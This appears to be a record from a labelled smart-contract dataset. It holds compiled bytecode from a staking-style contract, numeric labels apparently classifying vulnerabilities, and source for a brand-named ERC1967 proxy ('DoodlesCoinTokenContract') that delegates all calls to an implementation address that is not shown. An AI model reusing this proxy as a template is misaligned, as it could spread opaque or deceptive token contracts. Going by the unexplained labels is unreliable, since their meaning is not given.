a01b031690565b6000600c5483101561147d57600c5492505b81831061148c57506000611515565b6000611497846116dc565b905060006114a4846116dc565b905060006114b28587612253565b90508183146115055760006114d26005548761264290919063ffffffff16565b905060006114e08383612253565b90506114f96114ef83866121b1565b610adb83886121b1565b95505050505050611515565b61150f81846121b1565b93505050505b92915050565b600083815260086020526040812080548291908590811061153857fe5b6000918252602080832088845260098252604080852089865283528085206001600160a01b0389811687529084528186206006959095029092016005810154815483516370a0823160e01b815230600482015293519298509596909590949316926370a082319260248082019391829003018186803b1580156115ba57600080fd5b505afa1580156115ce573d6000803e3d6000fd5b505050506040513d60208110156115e457600080fd5b50516004850154909150431180156115fb57508015155b156116a857600061161085600401544361146b565b9050600061164d600a8b8154811061162457fe5b90600052602060002090600202016000015461091d8860030154856121b190919063ffffffff16565b90506116a361169c600b5461091d600a8e8154811061166857fe5b9060005260206000209060020201600101546116968861091d64e8d4a51000896121b190919063ffffffff16565b906121b1565b859061247f565b935050505b6116d0836001015461092364e8d4a5100061091d8688600001546121b190919063ffffffff16565b98975050505050505050565b6000600c548210156116f057506000610f05565b6000611707600c548461225390919063ffffffff16565b905060006117206005548361221190919063ffffffff16565b90508061173a5768056bc75e2d6310000092505050610f05565b8060011415611756576804563918244f40000092505050610f05565b806002141561177257680340aad21b3b70000092505050610f05565b806003141561178e5768022b1c8c1227a0000092505050610f05565b80600414156117aa576801158e460913d0000092505050610f05565b80600514156117c557678ac7230489e8000092505050610f05565b80600614156117e057676f05b59d3b20000092505050610f05565b80600714156117fb576753444835ec58000092505050610f05565b806008141561181657673782dace9d90000092505050610f05565b806009141561183157671bc16d674ec8000092505050610f05565b600a811061184b57670de0b6b3a764000092505050610f05565b5060009392505050565b600082815260086020526040812080548390811061186f57fe5b9060005260206000209060060201905080600401544311611890575061132b565b8054604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156118da57600080fd5b505afa1580156118ee573d6000803e3d6000fd5b505050506040513d602081101561190457600080fd5b505190508061191a57504360049091015561132b565b600061192a83600401544361146b565b90506000611967600a878154811061193e57fe5b90600052602060002090600202016000015461091d8660030154856121b190919063ffffffff16565b6001546002549192506001600160a01b03908116916340c10f19911661198e846014612211565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156119d457600080fd5b505af11580156119e8573d6000803e3d6000fd5b5050600154604080516340c10f1960e01b81523060048201526024810186905290516001600160a01b0390921693506340c10f19925060448082019260009290919082900301818387803b158015611a3f57600080fd5b505af1158015611a53573d6000803e3d6000fd5b50505050611a7b611a70600b5461091d600a8a8154811061166857fe5b60058601549061247f565b6005850155505043600490920191909155505050565b6000838152600860205260408120805484908110611aab57fe5b60009182526020808320878452600982526040808520888652835280852033865290925292206006909102909101805490925060ff600160a81b909104161580611b1657508154600160a81b900460ff168015611b165750600654600c54611b129161247f565b4310155b611b5d576040805162461bcd60e51b815260206004820152601360248201527277697468647261773a20706f6f6c206c6f636b60681b604482015290519081900360640190fd5b8054831115611ba8576040805162461bcd60e51b81526020600482015260126024820152711dda5d1a191c985dce881b9bdd0819dbdbd960721b604482015290519081900360640190fd5b611bb28585611855565b6000611be0826001015461092364e8d4a5100061091d876005015487600001546121b190919063ffffffff16565b90508015611bf257611bf23382612295565b8315611c1c578154611c049085612253565b82558254611c1c906001600160a01b031633866124dd565b8154611ca1578254600160a01b900460ff16151560011415611ca15760008360020154846003015411611c50576000611c56565b83600201545b6003850154909150611c689082612253565b8460030181905550611c8181600a8981548110610ac457fe5b600a8881548110611c8e57fe5b6000918252602090912060029091020155505b60058301548254611cbc9164e8d4a510009161091d916121b1565b60018301556040805185815290518691889133917f02f25270a4d87bea75db541cdfe559334a275b4a233520ed6c0a2429667cca94919081900360200190a4505050505050565b611d0b6124d9565b6000546001600160a01b03908116911614611d5b576040805162461bcd60e51b81526020600482018190526024820152600080516020612a65833981519152604482015290519081900360640190fd5b8015611d6957611d69611fe5565b600b54611d76908361247f565b600b555060408051808201909152600080825260208201928352600a8054600181018255915290517fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a860029092029182015590517fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a990910155565b60096020908152600093845260408085208252928452828420905282529020805460019091015482565b611e236124d9565b6000546001600160a01b03908116911614611e73576040805162461bcd60e51b81526020600482018190526024820152600080516020612a65833981519152604482015290519081900360640190fd5b8315611e8257611e8287612181565b6000600c544311611e9557600c54611e97565b435b9050611ec187600a8a81548110611eaa57fe5b60009182526020909120600290910201549061247f565b600a8981548110611ece57fe5b60009182526020808320600292830201939093559981526008825260408082208151610120810183526001600160a01b039a8b168152808501848152981515928101928352961515606088019081526080880196875260a0880184815260c089019c8d5260e089019687526101008901858152835460018181018655948752969095209851600690960290980180549951935191511515600160b01b0260ff60b01b19921515600160a81b0260ff60a81b19951515600160a01b0260ff60a01b1998909e166001600160a01b0319909c169b909b17969096169b909b179290921697909717169190911787559151938601939093559051958401959095559251600383015550905160048201559051600590910155565b600a5460005b8181101561132b57611ffc81612181565b600101611feb565b6002546001600160a01b031681565b6008602052816000526040600020818154811061202c57fe5b60009182526020909120600690910201805460018201546002830154600384015460048501546005909501546001600160a01b038516975060ff600160a01b860481169750600160a81b8604811696600160b01b90960416949089565b6120916124d9565b6000546001600160a01b039081169116146120e1576040805162461bcd60e51b81526020600482018190526024820152600080516020612a65833981519152604482015290519081900360640190fd5b6001600160a01b0381166121265760405162461bcd60e51b8152600401808060200182810382526026815260200180612a1e6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600081815260086020526040812054905b818110156121ac576121a48382611855565b600101612192565b505050565b6000826121c057506000611515565b828202828482816121cd57fe5b041461220a5760405162461bcd60e51b8152600401808060200182810382526021815260200180612a446021913960400191505060405180910390fd5b9392505050565b600061220a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612684565b600061220a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612726565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156122e057600080fd5b505afa1580156122f4573d6000803e3d6000fd5b505050506040513d602081101561230a57600080fd5b505190508082111561239e576001546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561236c57600080fd5b505af1158015612380573d6000803e3d6000fd5b505050506040513d602081101561239657600080fd5b506121ac9050565b6001546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156123f457600080fd5b505af1158015612408573d6000803e3d6000fd5b505050506040513d602081101561241e57600080fd5b5050505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610e69908590612780565b60008282018381101561220a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526121ac908490612780565b8015806125b5575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b15801561258757600080fd5b505afa15801561259b573d6000803e3d6000fd5b505050506040513d60208110156125b157600080fd5b5051155b6125f05760405162461bcd60e51b8152600401808060200182810382526036815260200180612aaf6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b1790526121ac908490612780565b600061220a83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612831565b600081836127105760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156126d55781810151838201526020016126bd565b50505050905090810190601f1680156127025780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161271c57fe5b0495945050505050565b600081848411156127785760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156126d55781810151838201526020016126bd565b505050900390565b60606127d5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128939092919063ffffffff16565b8051909150156121ac578080602001905160208110156127f457600080fd5b50516121ac5760405162461bcd60e51b815260040180806020018281038252602a815260200180612a85602a913960400191505060405180910390fd5b600081836128805760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156126d55781810151838201526020016126bd565b5082848161288a57fe5b06949350505050565b60606128a284846000856128aa565b949350505050565b60606128b585612a17565b612906576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106129455780518252601f199092019160209182019101612926565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146129a7576040519150601f19603f3d011682016040523d82523d6000602084013e6129ac565b606091505b509150915081156129c05791506128a29050565b8051156129d05780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156126d55781810151838201526020016126bd565b3b15159056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a264697066735822122063e92e3802865075057e58740cbfa2c92c2781b278afa067551344568cf8e03064736f6c634300060c0033
[ 16, 4, 9, 7 ]
0xf2d83eed34cf75f9bd1385d4318d86b6276a54fb
// SPDX-License-Identifier: MIT // ______ _ _ _____ _ // | _ \ | | | / __ \ (_) // | | | |___ ___ __| | | ___ ___ | / \/ ___ _ _ __ // | | | / _ \ / _ \ / _` | |/ _ \/ __| | | / _ \| | '_ \ // | |/ / (_) | (_) | (_| | | __/\__ \ | \__/\ (_) | | | | | // |___/ \___/ \___/ \__,_|_|\___||___/ \____/\___/|_|_| |_| // // pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract DoodlesCoinTokenContract { bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); (address addr) = abi.decode(_a, (address)); StorageSlot.getAddressSlot(KEY).value = addr; if (_data.length > 0) { Address.functionDelegateCall(addr, _data); } } function _beforeFallback() internal virtual {} fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _fallback() internal virtual { _beforeFallback(); action(StorageSlot.getAddressSlot(KEY).value); } function action(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661007b565b565b90565b606061007483836040518060600160405280602781526020016102316027913961009f565b9392505050565b3660008037600080366000845af43d6000803e80801561009a573d6000f35b3d6000fd5b6060833b6101035760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161011e91906101b1565b600060405180830381855af49150503d8060008114610159576040519150601f19603f3d011682016040523d82523d6000602084013e61015e565b606091505b509150915061016e828286610178565b9695505050505050565b60608315610187575081610074565b8251156101975782518084602001fd5b8160405162461bcd60e51b81526004016100fa91906101cd565b600082516101c3818460208701610200565b9190910192915050565b60208152600082518060208401526101ec816040850160208701610200565b601f01601f19169190910160400192915050565b60005b8381101561021b578181015183820152602001610203565b8381111561022a576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122098d19ec3cfb42fc51745a115239ff0b1a3a849d49b2bb6e1d1983ce1a01579a564736f6c63430008070033
[ 5 ]